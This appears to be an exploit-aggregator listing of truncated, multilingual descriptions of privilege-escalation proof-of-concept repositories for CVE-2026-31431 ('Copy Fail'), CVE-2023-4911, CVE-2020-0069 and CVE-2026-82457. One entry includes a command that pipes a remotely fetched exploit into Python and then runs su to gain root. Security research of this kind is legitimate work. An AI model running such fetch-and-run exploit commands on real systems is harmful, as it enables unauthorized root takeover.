copyfail-deconstructed

copyfail-deconstructed 이해하기 쉬운 버전의 CVE-2026-31431입니다. 이는 누구나 root가 될 수 있게 하는 권한 상승 기법입니다. 원본 개념 증명 코드는 https://github.com/theori-io/copy-fail-CVE-2026-31431 에서 찾을 수 있지만, 가능한 한 작은 설치 공간footprint을 갖도록 고도로 압축되고 축소되어 있습니다. 이 저장소는 해당 코드가 수행하는 작업, 페이로드가 로드되는 방식, 다양한 아키텍처를 대상으로 지정하는 방법을 포함하여 그 코드를 보다 읽기...

CVE-2023-4911

CVE-2023-4911 이것은 CVE-2023-4911"Looney Tunables"에 대한 PoC로, glibc 동적 로더의 GLIBCTUNABLES 환경 변수 파싱 함수 parsetunables의 버그를 이용합니다. 이것은 C PoC를 순수 파이썬 방식으로 다시 작성한 것입니다. 다른 플랫폼에서 익스플로잇을 쉽게 커스터마이즈할 수 있도록 하기 위해 이렇게 했습니다. 유일한 요구 사항은 pwntools이며, 다음과 같이 설치할 수 있습니다: root@kitploit: python3 -m pip install --upgrad...

mtk-su-reverse-cve-2020-0069

mtk-su 只是我的一些笔记 字符串表 使用 binwalk -Xe stringtabledump 获取解压缩后的字符串表 从 idb 中的地址转储 0x1F098 压缩大小：1260 如果你想要 idb，请用你的邮箱提出一个问题，我会发送它。如果你想要重写漏洞利用，这是一个很好的起点。...

AutomatedRoot

AutomatedRoot mtk-su 익스플로잇CVE-2020-0069을 사용하여 MediaTek 기기를 루팅하세요. 요구사항 Python 3.9 이상 Windows의 경우 %PATH% 내에 있어야 함. ADB Windows의 경우 %PATH% 내에 있어야 함. CVE-2020-0069 PoC mtk-su. 사용법 MediaTek SU XDA 페이지에서 mtk-su 바이너리를 다운로드하여 해당 폴더automatedroot/files/arm64로 이동하세요: MediaTek's SU XDA page. 최신 릴리스를 다운로드하세요...

Linux-CopyFail-C-Version-CVE-2026-31431

Linux CopyFail - C 버전 - CVE-2026-31431 Copy FailCVE-2026-31431의 깔끔한 C 버전 - AFALG + authencesn + splice 프리미티브를 사용하는 Linux 로컬 권한 상승 익스플로잇. /usr/bin/su의 페이지 캐시를 소형 setuid 셸코드로 덮어써서 루트 권한을 획득합니다. 교육용 개념 증명PoC입니다. Copy Fail Linux 로컬 권한 상승 취약점CVE-2026-31431의 깔끔하고 읽기 쉬운 C 구현입니다. 원본 축소형minified Python...

TEST-CVE-2026-31431

TEST-CVE-2026-31431 root@kitploit: oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d...

copy-fail-python

copyfailsu.py badsectorlabs/copyfail-go의 Python 포트 CVE-2026-31431. Linux 전용이며 Python 3.10+ os.splice이 필요합니다. 루트 권한 획득 방식 중요 이 도구는 /etc/passwd 페이지 캐시 트릭을 사용하지 않습니다. setuid su 바이너리의 페이지 캐시 를 내장된 셸코드Go main.go와 동일한 페이로드로 덮어쓴 다음, su를 실행합니다. 권한 상승은 /etc/passwd를 통해 getpwnam이 UID를 0으로 인식하게 만드는 것이 아니라,...

CVE-2026-31431-rs

CVE-2026-31431 PoC copyfail 구조 root@kitploit: src/ ├── main.rs 익스플로잇: AFALG + splice로 /bin/su 덮어쓰기 └── bin/ └── payload.rs 페이로드 런타임 의존성이 전혀 없는 자체 포함 nostd 바이너리: poc-rs: 4.1 KB includebytes!로 페이로드 내장 payload: 1.7 KB 빌드 Rust 1.85+ 필요: root@kitploit: cargo build --release --bin payload cargo build...

copy-fail-CVE-2026-31431

CVE-2026-31431 — Copy Fail AFALG + splice 페이지 캐시 덮어쓰기를 통한 Linux 커널 로컬 권한 상승 승인된 보안 연구, 침투 테스트 및 교육 목적으로만 사용하십시오. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에는 사용하지 마십시오. 기술 문서 목차 설명 취약점 세부 정보 저장소 구조 빠른 시작 탐지 요구 사항 완화 조치 테스트 환경 선택 사항 참고 자료 라이선스 설명 CVE-2026-31431은 Linux 커널의 로컬 권한 상승LPE 취약점입니다. 권한이 없는 로컬 사용자가...

copy-fail-go

Copy Fail - CVE-2026-31431 - golang 버전 ⚠️ 경고: 이 프로그램은 매우 위험하며 실험적입니다. 익스플로잇을 제거하려면 수동 정리가 필요합니다. 사용에 따른 책임은 본인에게 있습니다! 기술 문서 원본 저장소 실행 실행 전 /usr/bin/su 확인: root@kitploit: user@pc:$ hexdump -n 300 -x /usr/bin/su 0000000 457f 464c 0102 0001 0000 0000 0000 0000 0000010 0003 003e 0001 0000 44d0 0000...

CVE-2026-31431-exploit

CVE-2026-31431 경고 이 Linux LPE 익스플로잇 구현은 실행 시 파괴적 입니다. 다음과 같은 권한 있는 대상의 실시간 페이지 캐시 뷰 를 덮어씁니다: su PAM 구성 파일 patch 모드로 전달된 모든 파일 이는 일반적으로 디스크에 영구적으로 저장되는 일반적인 편집이 아니지만, 런타임 동작을 변경 하며 인증/권한 흐름에 즉시 영향을 줄 수 있습니다. 이 저장소는 완전히 비파괴적인 root 모드를 제공하지 않습니다. 파일 copyfailrawsuroot.c copyfailportablelpe.c 둘 다 Linu...

CVE-2026-31431

AFALG su 메모리 패치 익스플로잇 연구용 AFALG 관련 커널 취약점을 악용하여 su 바이너리의 메모리를 패치하고 권한을 상승시키는 간결한 Python 스크립트입니다. 이 도구는 교육 및 연구 목적으로만 제공됩니다. ⚠️ 소유하지 않은 시스템이나 명시적 승인 없이 사용하지 마십시오. 오용 시 법률 및 보안 정책을 위반할 수 있습니다. 목적 특정 커널 버전에서 AFALG 소켓 옵션과 splice가 실행 가능한 메모리를 수정하는 데 어떻게 악용될 수 있는지 시연합니다. 커널 익스플로잇 프리미티브와 메모리 패치 기법을 연구하기...

copyfail-go

CopyFail Go 대부분의 Linux LPE는 레이스 윈도우race window나 커널별 오프셋이 필요합니다. Copy Fail은 직선형 로직 결함straight-line logic flaw으로, 둘 다 필요 없습니다. 동일한 732바이트 Python 스크립트 정적 Go 바이너리는 2017년 이후 출시된 모든 Linux 배포판을 루트 권한으로 탈취합니다. CVE-2026-31431의 Go 구현입니다. 정적 바이너리가 필요하고 Python 의존성이 없을 때 사용하세요. 자세한 내용은 copy.fail을 참조하세요. 인터랙티브...

cve-2026-31431

CVE-2026-31431 이 문서는 CVE-2026-31431 취약점과 관련된 공개 Python 익스플로잇을 설명합니다. 이 코드는 Linux의 AFALG 서브시스템 프리미티브, AEAD 암호화 작업, splice를 통한 메모리 조작을 활용하여 취약점을 악용하는 방법을 보여주며, 권한 있는 바이너리/usr/bin/su의 일부를 덮어쓴 후 결과 프로세스를 실행하는 것을 목표로 합니다. 익스플로잇 특징 Python 3로 구현됨 AFALG 소켓authencesn 사용 AEAD 암호화 작업 활용 파일 디스크립터와의 직접적인 상호작용...

CVE-2020-0069_poc

설명 이 저장소는 Xiaomi Redmi 6a Mediatek SoC MT6762M 탑재에서 CVE-2020-0069를 조사하는 데 사용한 자료를 포함하고 있습니다. 세 가지 프로그램이 있습니다: kernelrw.c — 커널 메모리 읽기/쓰기를 가능하게 하는 C 프로그램 poc.sh — 셸 스크립트 syscallhook.c — 프로그램 mtk-su 버전 19에서 테스트를 추적하는 데 사용할 수 있는 C 라이브러리 빌드 바이너리를 빌드하려면: root@kitploit: $ ndk-build 그런 다음 기기로 푸시합니다:...

mtk_su

MTK SU MTK SU 是针对 CVE-2020-0069 的本地权限提升利用程序。该漏洞利用已在运行 Android 8.1.0 且搭载 MediaTek MT6739 处理器（SoC）的 TCL LX A502DL 设备上测试通过。 构建 root@kitploit: mkdir build cd build export ANDROIDNDK= cmake -DCMAKETOOLCHAINFILE="$ANDROIDNDK?/build/cmake/android.toolchain.cmake" -DANDROIDABI="armeabi-v7a"...

CVE-2026-82457

su-exec through 0.3 fails to validate numeric user and group identifiers parsed with strtol before assigning to uidt and gidt, allowing truncation of out-of-range values to zero. Attackers can supply large numeric identifiers that truncate to root's identifier, causing su-exec to execute target...

CVE-2026-82457

su-exec through version 0.3 contains a type-truncation vulnerability in its handling of numeric user and group identifiers. Values parsed via strtol are not validated before being assigned to uid_t and gid_t , so out-of-range identifiers truncate to zero—root 's ID. A local attacker with low priv...

CVE-2026-82457 su-exec through 0.3 Privilege Escalation via Numeric User ID

su-exec through 0.3 fails to validate numeric user and group identifiers parsed with strtol before assigning to uidt and gidt, allowing truncation of out-of-range values to zero. Attackers can supply large numeric identifiers that truncate to root's identifier, causing su-exec to execute target...

CVE-2026-82457 su-exec through 0.3 Privilege Escalation via Numeric User ID

su-exec through 0.3 fails to validate numeric user and group identifiers parsed with strtol before assigning to uidt and gidt, allowing truncation of out-of-range values to zero. Attackers can supply large numeric identifiers that truncate to root's identifier, causing su-exec to execute target...